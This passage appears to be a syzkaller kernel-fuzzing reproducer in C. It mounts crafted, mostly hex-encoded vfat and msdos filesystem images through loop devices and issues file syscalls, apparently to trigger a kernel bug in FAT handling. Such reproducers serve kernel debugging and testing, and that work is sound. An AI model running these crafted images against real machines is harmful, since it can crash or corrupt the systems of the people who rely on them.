"\x3f\x36\xc6\x13\xbf\xf9\xfd\xf1\x57\x8b\xe5\xf3\xfd\xdd\x59\x7e\xbf"
"\xcf\x93\xe7\xed\x81\xf2\x7e\xa2\x8e\xf6\x59\x9f\xfc\xfa\xc0\xa0\xcf"
"\xb3\xe7\xfd\xf8\x0d\x6a\xad\xe5\xaf\xb2\x39\x18\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xc0\xd0\x54\x1a\x7f\x97\x96\xe6\x8a\x10\xae\xbd\xfd\xfa\xc9"
"\xa7\x4f\x9f\x5f\xb8\x3b\xe5\xb1\xd6\x1c\xb5\xc6\xdf\xe9\xb6\x54\xb5"
"\xf5\xbe\x10\x1e\x8d\xf1\x54\x8c\x7f\x1e\x5f\xdc\xfe\xf0\x95\xb3\xed"
"\xf1\x9d\x18\x17\x61\x31\x14\xa1\x68\x4d\x0f\x4f\xdd\x6a\x95\xb4\x33"
"\x84\x70\x39\x1c\x0a\xd7\x43\x2d\xec\xbf\x76\xe3\xb5\x77\x17\x9f\x3c"
"\x7d\xe5\xd4\xd5\xc3\xef\xbd\x71\xfc\xe6\xc6\xad\x01\x00\x00\x00\xd8"
"\xfa\xfe\x17\x00\x00\xff\xff\x41\x14\x18\x77",
2646));
res = -1;
NONFAILING(res = syz_mount_image(
/*fs=*/0x20000080, /*dir=*/0x20000040,
/*flags=MS_LAZYTIME|MS_STRICTATIME|MS_RELATIME|MS_NOATIME*/
0x3200400, /*opts=*/0x20000c00, /*chdir=*/1, /*size=*/0xa56,
/*img=*/0x20001c80));
if (res != -1)
r[0] = res;
break;
case 2:
NONFAILING(memcpy((void*)0x200000c0, "./bus\000", 6));
syscall(__NR_creat, /*file=*/0x200000c0ul, /*mode=*/0ul);
break;
case 3:
NONFAILING(memcpy((void*)0x20000380, "/dev/loop", 9));
NONFAILING(*(uint8_t*)0x20000389 = 0x30 + procid * 1);
NONFAILING(*(uint8_t*)0x2000038a = 0);
NONFAILING(memcpy((void*)0x20000340, "./bus\000", 6));
syscall(__NR_mount, /*src=*/0x20000380ul, /*dst=*/0x20000340ul,
/*type=*/0ul, /*flags=MS_BIND*/ 0x1000ul, /*data=*/0ul);
break;
case 4:
NONFAILING(memcpy((void*)0x200003c0, "vfat\000", 5));
NONFAILING(memcpy((void*)0x20000040, "./bus\000", 6));
NONFAILING(memcpy(
(void*)0x200009c0,
"\xdc\xea\x62\x0d\x0d\xa8\x5a\x72\x0a\xab\x5a\xc4\x71\x29\x64\x2c\xf6"
"\x0a\xdb\x57\x86\x47\x80\x0f\x96\xde\xbd\x03\xd8\xe4\x4a\x28\x21\x09"
"\xa0\xce\x4c\xd3\x89\x44\x99\x4f\xd5\x8f\x77\x0b\x5c\x98\x31\xa2\xd3"
"\xc3\xbb\xeb\x76\xec\x49\x65\xc4\x85\xad\xbc\x9f\xdd\xad\xc9\x0d\x59"
"\x40\xe7\xa6\x5e\x24\x00\x32\x18\xe2\xdb\x22\x83\x98\x94\x3b\x4a\x09"
"\xa4\x33\x08\x5c\x23\x61\x90\x78\x27\xcf\x00\xdf\xd6\x15\x98\x83\xbf"
"\xaa\xc8\x20\xe7\x39\x81\x11\xec\x62\x9f\x8a\xb2\x96\x5b\xec\x42\x8d"
"\x57\x4e\x69\x4f\xe6\x19\x44\x62\x01\xd6\x55\x8d\x2a\x34\x45\x05\x6e"
"\x69\xef\x11\x8f\xbb\xe0\x19\xe0\x99\x21\x5d\xbb\x9b\x94\x19\x90\x0c"
"\x07\x85\x97\xdc\x71\x59\xd3\xb3\x9d\x27\x16\xbf\x4d\x21\x24\xd1\x3d"
"\xc4\x95\xd7\xee\xf1\xf9\x2c\x69\xd4\x3c\xba\x06\x8a\xa4\x68\x89\xc6"
"\xac\x8e\x64\x39\x43\x75\xea\x5e\xd3\x60\x85\x82\x26\xc3\xb1\x51\x2b"
"\x6f\x6b\xbb\x7e\x80\xb0\x68\x8b\x83\x45\xc2\xfc\x4f\x3f\x30\x88\xb1"
"\xc5\xdc\x80\x7e\x7b\x29\xf1\xdb\x48\x56\x44\x9a\xca\xc6\x0c\x38\xbc"
"\x94\xbd\x69\x32\x4a\xcb\x1b\x3d\xb8\x35\xa9\x1a\x97\xbb\x6a\xa3\x0b"
"\x44\xc3\x51\xa6\x5e\x23\x92\xa5\x62\x9c\x16\x44\xc1\x43\x57\x87\x29"
"\x01\xed\xe1\x7b\x77\x05\x55\x5f\x6f\x18\x63\xcd\x11\x59\x02\xbc\x01"
"\x80\xc9\x53\xca\xaa\xa2\xab\xe2\x76\x59\x6b\xcc\xe4\x6a\xf3\xca\xf5"
"\x39\x35\x39\x8d\x41\x68\x99\x62\x85\xb7\x71\x90\xf7\x29\x80\x07\x7a"
"\x53\xf5\xe0\x75\xaf\xff\xa6\xcd\x9c\x2d\xe4\x1d\xbc\x88\x0f\x00\x9c"
"\x4e\x0b\x75\x66\x26\xec\x13\x90\xad\x87\x93\xdd\xcd\x7e\x2d\x9e\x96"
"\x80\x87\xb3\x82\x36\xc1\x4d\x39\x98\xb8\x1a\x90\x29\x7b\xcf\xad\x26"
"\xea\x86\x15\xaa\x76\x0b\x46\xed\x92\xde\xa1\xa3\x01\x7d\x84\x7f\x80"
"\x16\x5c\x54\x9a\x1b\xbc\xb7\xbd\x2d\x6e\x30\xf1\x13\x3d\xda\xee\xb9"
"\x02\xb2\x82\xc8\x62\x98\x1c\x51\xfd\x21\x68\xd9\xbb\x58\xac\x7c\xad"
"\x10",
426));
NONFAILING(*(uint32_t*)0x20000b6a = -1);
NONFAILING(*(uint64_t*)0x20000b6e = -1);
NONFAILING(memcpy(
(void*)0x20000b76,
"\x6b\x85\x42\xda\x47\x10\x92\x66\xa2\xae\x2b\x12\x8e\xf2\xc5\xa5\x9a"
"\x58\xbe\x60\x3c\xa2\x3d\x10\x2f\xfc\x87\x17\xee\x3b\xad\x90\x9d\x8f"
"\x87\x6d\x55\x59\xc6\x22\xe5\xd8\xfe\x40\x52\xf5\x15\x5d\x3b\x33\x50"
"\x17\x96\xf5\x16\x54\x4e\xee\x24\x4f\xad\xfe\xf7\xed\xdc\x3d\x28\x59"
"\x7b\xf1\xce\x76\xb4\x46\x8f\x59\x8a\x12\x60\xee\x1a\x80\xa1\xf7\x12"
"\x55\x52\x38\x6b\x6e\x4d\x25\x41\xfe\xe2\xc0\xca\x58\xc4\x51\xd4\xd2"
"\x96\xd9\x7b\xac\x48\x2d\xc2\x4a\x1b\xfd\x43\x19\x8f\x90\xa4\xc0\xe6"
"\xd9\xc6\x6c\x10\xca\x35\x47\x9a\x17\xfe\xc3\xd6\x37\xb0\xca\x1d\x3a"
"\x64\xe4\x13\xf4\x09\x83\x43\xac\x04\x6e\x2b\xd4\x91\x0d\xae\xef\x27"
"\xf1\x13\x68\xe4\x94\xba\x31\x97\x9f\x91\xba\xaa\x4b\x19\xad\x41\xbb"
"\x34\x15\x6a\x57\x6f\x9c\xc1\x4a\x3e\xe8\x98\x4b\xf6\x6f\x56\xbb\x67"
"\xc3\x17\x9c\xb7\x06\x85\xcd\xdc\xe5\x46\xcb\x3d\xd3\x4b\x61\x21\x7b"
"\xdf\x8e\x3e\xa8\xf7\xbe\x1a\x54\x6c\xe5\x30\xd3\x0f\x87\x80\x15\xb6"
"\xc1\xb0\xb0\x6b\xf0\x84\xf1\x26\xc2\x3e\x0c\x3d\x72\x92\xd6\x0d\xdd"
"\x43\x51\xbc\xb5\x01\x04\xdf\x55\x7d\x52\xee\x02\x30\xb8\x9f\x4b\x3d"
"\x7b\x68\xa6\x56\xc3\x78\x7e\xd4\xad\x70\xa4\xc9\xec\xf0\xf5\x40\xdf"
"\x09\xc3\x34\x83\x9a\x7b\x58\xa0\x2d\x8d\x7e\x2b\x44\x43\xc5\x51\x6b"
"\xd6\xf2\x5e\xc1\x6b\xc5\xf3\x4e\x3b\x12\x42\x70\x76\x59\x0b\x99\x7f"
"\x16\xa6\x79\x6e\xcf\x84\x78\x6a\x32\x47\xd0\x66\x26\x82\x00\x63\xa5"
"\xfa\x5e\x78\x62\xcc\xa4\x0b\x8c\x8a\x28\x10\x9f\x77\xe6\xf7\x15\x2f"
"\xa4\x7c\x53\xcd\x52\x9f\xa9\x9d\x66\x32\x6c\xd3\xf9\xc6\xdb\x65\x69"
"\x3b\xb9\x7e\x2e\x76\x49\xa5\xab\x88\x7f\xf1\x57\xa8\x15\xc8\x2a\xb8"
"\x1d\xbf\xfb\x84\x4c\x17\x79\x96\xd3\x60\x96\x92\xef\x1f\x07\xb0\x1d"
"\x7f\x0a\x68\x3f\xd3\x86\x21\xbd\x87\x60\x64\x87\x5c\xe4\x6c\x6a\xfa"
"\xe8\x2e\xf2\x6d\x35\xf0\x29\xa1\xd1\x04\xa0\x44\xb6\x6c\x30\x32\x87"
"\xbc\x2d\x76\x72\x88\xc7\xc3\x8e\xbb\x01\x21\x32\xd2\x1b\x19\x8c\x17"
"\xd1\xcc\x98\x2a\x02\x37\xbd\xa9\x84\xc0\xf9\x85\xae\x95\xf9\x08\x52"
"\xc3\xaf\x59\x2a\x0e\x54\xee\x1d\xc2\xff\x8a\x2d\x3f\xc5\xa0\xee\x4b"
"\xb0\x24\x93\xad\x12\xe6\xcf\xa9\x10\x4d\xff\x10\x6c\x31\xe4\x3c\xb0"
"\x4b\xda\x40\xbc\x72\x76\x1c\xce\x97\x1c\x12\xbf\xdb\x9a\xa9\x95\x5b"
"\xfe\x67\x22\xf9\x7a\x97\xdb\xcd\x46\x76\x7f\x58\xd6\x6d\x72\xa6\xd5"
"\xe2\xe4\xf2\x6c\x03\x52\xdd\xb7\x17\x22\x5b\x02\x9c\x4c\x75\x78\x66"
"\xa3\xba\x15\x60\xf3\x06\x37\xd6\x20\xde\xf5\x09\xaf\x89\x05\xc2\xa1"
"\xaa\x07\x7b\x10\x86\x48\x45\x71\xc9\x64\x03\x1d\xb8\xcd\x9e\xa5\x63"
"\x45\x22\xde\x35\x02\x8d\xed\xab\xb4\xfd\x63\x0e\x1f\x5b\x2b\x1a\xfb"
"\x61\x65\x02\x8c\xf5\xe1\xf0\x5f\xd7\x73\x95\x91\x0a\xfc\x29\xd1\x5c"
"\x3f\x36\xe2\xf5\x7c\x7d\xb2\x37\x90\x2c\xd7\x07\x2c\xb7\x27\x17\x07"
"\xa7\x4c\xe9\x7b\xb6\x8e\x38\xe0\x59\x19\x1c\x81\xdf\x15\x6a\x21\xf0"
"\xda\x02\x97\xfa\xc4\x9f\x0d\x8f\xf4\x0f\x93\xe6\xaa\x85\x14\x1e\x04"
"\x6b\x6d\x2e\xb8\xec\xd1\x7d\x0f\x9a\xc4\x88\xbd\x03\x4d\xb3\xe2\x1f"
"\x41\x77\x87\x7c\x7f\x96\xdf\x44\x22\x73\xfc\xb3\x99\x09\xa5\x9c\xa0"
"\xd5\xe1\x6e\x75\x54\x49\x92\x1b\x53\x0c\xd5\xf4\xc8\xac\x96\xc6\xd5"
"\x44\x94\x17\xb4\x27\x45\x51\x4c\x39\x29\x80\xe0\x5e\x74\x02\x09\xd3"
"\x88\x0a\x4a\x71\x29\xd2\x2b\x26\xcd\x8c\x1c\xc4\x91\x24\xd9\x95\xf8"
"\xcf\xf3\xd1\x97\x1b\x3e\xba\x61\xb7\xbf\x3c\x27\x02\x7f\x9a\xc9\xd0"
"\x6b\x7d\x71\xe0\x4e\x2d\x20\x68\xe7\x44\x5d\xce\xf3\xf1\x05\x00\x04"
"\xf7\xbf\xb2\x61\xe2\x13\xe2\xd1\x3d\x9d\x31\xe7\x1c\xed\x0a\x2a\xac"
"\x5b\xaf\xc0\xd8\xb2\xce\x90\xb0\x02\x78\x44\xd7\xe1\x2a\x8a\x1e\x6f"
"\x24\xbd\x0f\x81\x46\x23\xd9\x46\x5e\xa1\xf3\xac\xcb\x5f\x3a\x70\xb3"
"\x25\x9c\x2d\x3e\x4f\x92\x85\xb8\x04\x9f\x72\xe0\x61\x0a\x89\x54\xa7"
"\x68\x25\x77\x5b\x88\xf1\x8f\x1e\x63\x54\x48\xa0\x89\x88\x01\x82\xdd"
"\x73\xe0\x39\xaf\xfc\x99\xaa\xdc\x4f\xcd\xb3\x75\x9b\xcd\x31\xad\x6c"
"\xd7\x98\xd6\x0f\x83\xfb\xa8\xf6\x7a\x56\x7d\x42\xde\x1f\x16\xe8\x83"
"\xcd\x9a\x9a\x24\x8d\xf9\xfe\xae\x3a\x64\xb2\x9c\x98\x85\x8f\xd8\xf1"
"\x75\x53\x6d\xc9\x42\x95\x06\x34\x11\xf4\x73\x39\xe1\x09\xfe\x77\xea"
"\xa8\x77\xfa\xb9\xe0\xfd\x71\xf4\xf6\x91\xd9\xb8\x61\x80\xa1\x81\x35"
"\xbe\xea\x15\xee\xaf\xec\x69\xd8\x0b\xfe\xd9\x65\xee\x53\x88\xd4\x12"
"\xea\x7a\x8c\xf7\xf5\x45\xa0\x3a\x31\x1b\x37\x8d\x11\x87\xa7\x1b\x13"
"\xec\xbe\x2a\xea\x15\xbd\xd8\x40\x6c\x41\xd9\x9d\x60\x68\xdd\x42\xdd"
"\x59\xa9\xc8\xd1\xd1\x8d\x59\x88\x0b\x39\xf7\x16\xad\xbf\x16\x47\xca"
"\xe8\xf8\x95\xa3\x9c\xbc\x82\x71\xce\xe7\xf2\xc4\xe3\x2f\xf6\x0c\x52"
"\x98\x2e\x0c\x2c\xe1\x6f\x5f\xf2\x83\x01\xd0\x75\x9f\xc0\x8a\x2f\x02"
"\x3c\xb5\x68\x36\x21\xdb\x98\x91\x67\x36\xa6\x84\xaa\xcc\x47\x34\x38"
"\x01\x4a\xcc\x83\xd7\x3c\xfb\xcf\x76\xa3\x67\x90\x87\x06\xbd\x38\x31"
"\x56\xf4\x67\x1f\xce\x46\x33\x45\x78\x43\xdd\xa4\xf7\xa5\xa0\xf6\xe3"
"\x29\x42\x6a\xc4\x5a\x61\x52\x61\x52\xad\x35\xcd\xde\xc8\x2d\x83\xcf"
"\x3e\x43\xf3\xbe\xd2\x08\x49\x65\x8c\xd6\xfa\x1e\x82\x6e\x7a\x6e\x85"
"\x30\x50\x97\x50\xd2\x58\x9b\x46\x29\xc5\x45\x19\x18\x55\xe3\x92\xa0"
"\x72\x0e\x6e\xf7\xed\x79\x05\x58\x7f\x7f\x18\x1e\xed\xe5\x9a\x26\x6f"
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"\x07\x92\x93\x2d\xc7\xe0\xe6\x99\x1f\xc0\x6f\x84\x27\x60\x28\x5d\xd1"
"\x0f\x8b\x3c\x51\xe6\x5d\x8a\xdb\x97\xde\x5c\xf2\xa2\x09\xa5\x2a\xf4"
"\xf9\x3f\xfe\xa9\x66\x06\x66\xe5\x83\x15\x7a\x19\xb8\xfc\xd0\x0a\x65"
"\xae\xc0\x16\x96\xaf\xaf\x81\x2e\x7a\x25\xec\x03\x52\xe6\xbd\x92\x92"
"\x29\x30\x5f\x32\x4b\x66\x71\x58\x4d\x73\x28\x4c\x96\x37\x04\x2a\x15"
"\xa4\x8a\xaf\xe4\xf9\x96\x21\x19\xf2\xaf\xe4\x3b\xb8\xab\xeb\x7d\xbd"
"\x5e\x58\x8b\x98\xf3\x1f\xf3\xb5\x9c\xd4\x47\x87\x47\x1e\x68\xfa\x6a"
"\x08\x55\x11\xed\x25\x1a\x5f\xdc\xa0\xcd\x84\xc9\x89\xbb\xe2\xda\xe0"
"\x97\xe4\x69\xe9\x64\x41\xaf\xb0\x66\x09\x79\x8e\x5d\xea\x48\x0e\x50"
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"\x48\x46\x00\xe9\xe7\x62\x2d\x84\x63\xfe\x88\x8f\x92\xaa\xa4\x37\x7d"
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"\x0d\x39\xc2\x58\x5b\x41\xf7\x2e\x25\x60\xe3\xc3\xc5\x53\x23\x7d\xc8"
"\x90\xfd\x9c\x04\x82\xe5\x8d\x8a\xd7\x38\x6a\xf5\xbc\x45\xfb\xc3\xe3"
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"\x32\x35\x32\xcf\x5b\x8a\x0b\xc5\xdc\x8c\x84\x92\xe9\xd6\xf9\x01\x0e"
"\xef\x20\x94\x5b\xe7\x9d\x51\x88\xec\x6e\xc8\x66\x6e\x40\x29\xcd\x35"
"\x8f\xf4\xbf\xe0\x45\x9d\xbe\x2a\x9a\xf1\xd6\x87\x50\x29\xea\x9d\x19"
"\xdc\x91\x53\xa6\xce\xa3\xc9\xb3\xde\x1a\x26\xb8\x4f\xf1\xc9\x6f\xcd"
"\x27\x3b\x8e\x58\xa8\xa4\x7b\xd2\x3a\x7a\x71\x8a\xeb\xae\xd0\xe3\xf8"
"\x16\x92\x23\x2a\x16\xa9\x2c\x90\x86\x70\xc1\x00\xa3\x49\x70\xab\x02"
"\x35\xc1\x4f\xc4\x92\x15\x87\x95\xfe\x27\xda\xc0\x25\xb7\x40\x3d\x4c"
"\x6f\x76\xb6\x11\x14\xc1\xbd\xcc\x81\x2d\xa4\x44\xcd\x49\x0a\x6e\xf7"
"\xfb\xeb\x06\x57\x0f\x3d\x4a\x90\xcd\x31\x78\xa9\xcb\x5d\xab\x5c\x98"
"\x23\x79\xce\xc6\x76\x2b\x9a\x83\x9a\xae\xcd\xf8\x88\xc1\x73\x2d\x60"
"\x16\xd1\x9e\x05\x3d\xcc\x40\xad\x0c\x47\x08\xb3\xf5\x9b\x5a\xf8\x74"
"\x53\x33\x80\xa6\x08\xea\xb3\x08\xb5\x97\x3d\xdd\x3f\x93\x51\x73\x7f"
"\x93\x86\x08\x7b\xc2\x85\x63\x4c\xe8\xe7\x42\xb9\x3f\x24\xaa\x1c\x2b"
"\x17\x60\xa3\x5e\x6c\x83\xf0\xaf\xe1\x44\x70\xb2\xa4\x4b\xfc\x10",
4096));
NONFAILING(*(uint64_t*)0x20001b76 = r[0]);
NONFAILING(memcpy(
(void*)0x20002a80,
"\x78\x9c\xec\xdc\x4f\x8b\x1b\x65\x1c\x07\xf0\xdf\xc6\xad\xdd\x6e\xdd"
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"\xb2\x01\xa5\x76\x85\x56\x10\xa6\xee\x44\x43\xc6\x24\x64\xc2\x42\x44"
"\xac\x9e\xbc\xfa\x3a\xc4\xa3\x37\x41\x7c\x03\x7b\xe9\x6b\xf0\xb6\x17"
"\x8f\x3d\x88\x23\x4d\xb6\xb6\x69\xd3\xca\xc2\xd6\x80\xfd\x7c\x2e\xf3"
"\x23\xcf\xf3\xcd\x3c\x93\x90\x81\x09\xf3\x9b\xc3\x77\x7e\xf8\xb2\xd3"
"\xaa\xb2\x56\x3e\x8c\xc6\xc2\x42\x34\xfa\x11\xe9\x4e\x8a\x14\x8d\xb8"
"\xe7\xb5\x9d\xc9\xf6\xfa\x8d\x9d\xad\x66\x73\xfb\x6a\x4a\x57\xb6\xae"
"\x6d\xbc\x9d\x52\x5a\x7d\xfd\xd7\x4f\xbe\xfe\xe9\x8d\xdf\x86\x67\x3f"
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"\x78\xf8\xd7\xb5\x2f\xda\x55\x6a\x57\xa9\xdb\x1b\xa6\x3c\xdd\xec\xf5"
"\x86\xf9\xcd\xb2\x48\x7b\xed\xaa\x93\xa5\xf4\x61\x59\xe4\x55\x91\xda"
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"\x53\xd7\x75\x44\x5d\x9f\x8a\xe7\xa3\xae\xeb\xfa\x4c\x2c\xc7\xd9\x78"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\xcd\x0e\x1c\x0b\x00\x00\x00"
"\x00\x08\xf3\xb7\x4e\xa3\x63\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x60\xa8\x00\x00\x00\xff\xff\xb2\x2b\xc6\x6e",
4623));
NONFAILING(syz_mount_image(
/*fs=*/0x200003c0, /*dir=*/0x20000040,
/*flags=MS_I_VERSION|MS_REC|MS_SYNCHRONOUS|MS_SILENT|MS_RELATIME|0x2d4e*/
0xa0ed5e, /*opts=*/0x200009c0, /*chdir=*/1, /*size=*/0x120f,
/*img=*/0x20002a80));
break;
case 5:
NONFAILING(memcpy((void*)0x200005c0, "./bus\000", 6));
syscall(
__NR_open, /*file=*/0x200005c0ul,
/*flags=O_SYNC|O_NONBLOCK|O_NOATIME|O_DIRECT|O_CREAT|0x2*/ 0x145842ul,
/*mode=*/0ul);
break;
case 6:
NONFAILING(memcpy((void*)0x20000100, "./bus\000", 6));
res = syscall(__NR_creat, /*file=*/0x20000100ul, /*mode=*/0ul);
if (res != -1)
r[1] = res;
break;
case 7:
syscall(__NR_write, /*fd=*/r[1], /*data=*/0x20000300ul, /*len=*/0xfd14ul);
break;
case 8:
NONFAILING(memcpy((void*)0x20000180, "msdos\000", 6));
NONFAILING(memcpy((void*)0x20000100, ".\000", 2));
NONFAILING(*(uint16_t*)0x200003c0 = -1);
NONFAILING(sprintf((char*)0x200003c2, "0x%016llx", (long long)-1));
NONFAILING(sprintf((char*)0x200003d4, "%023llo", (long long)-1));
NONFAILING(memcpy(
(void*)0x200003eb,
"\xf1\xbc\xca\x05\xed\x58\x8d\x63\xa5\x76\xcc\x3a\xfd\x51\xba\xf2\x9c"
"\xde\x22\x81\xa8\x43\x92\xf4\xe6\x6f\xf7\xef\x22\xaa\x9a\xf7\x27\xce"
"\xae\x8a\x8e\xc9\x5f\xc1\xb7\x30\x83\xde\x2d\xe8\x25\xa0\xcb\x2b\x0b"
"\xe7\x74\xfd\xb3\x36\x50\xd7\xda\xce\x27\xc1\x6b\xc2\x3b\x2f\x7c\x7f"
"\xb7\x25\x85\x54\x89\x39\x69\x8f\x28\x0d\x13\x8a\xa9\x25\x5a\x8a\x92"
"\x40\x08\xf8\x47\x7e\x82\xba\x11\xcd\xb1\x1e\xfd\x5c\xa2\xf1\xab\x04"
"\x9c\xe2\xcc\xc4\x15\xd2\xda\xf8\xda\xc7\x25\x53\x3a\x55\x8d\x56\x16"
"\x54\xfa\xf5\xe0\x92\x4f\x13\x76\x17\x4f\x37\x4d\x66\x4f\xad\x4a\x6a"
"\xb2\x4e\xc0\xe8\x22\xe7\xf9\x42\x6e\x8e\x5d\xe1\xfe\x58\x08\x5a\x0a"
"\xe8\x6f\xd0\x2a\x11\x8b\x93\x65\x96\x18\x34\xd4\x62\x08\xb9\xfb\x4c"
"\xb1\xb1\xfa\x96\x2a\x02\x5a\x00\xdc\x2e\x31\x93\x79\x11\xea\x1e\x5a"
"\x07\xae\xb3\xf9\xcd\x4e\x64\x8d\xf4\xdd\x18\xe6\x25\x3e\x7b\x6e\xd4"
"\x87\x5a\x63\xa2\x32\xa2\xa4\x07\x58\x02\x60\x6e\x70\x1c\x63\xa8\x86"
"\x37\x87\x88\x9b\xf1\xc9\x0f\xcc\xf3\x19\x54\xa9\x40\xc8\xb5\x84\xca"
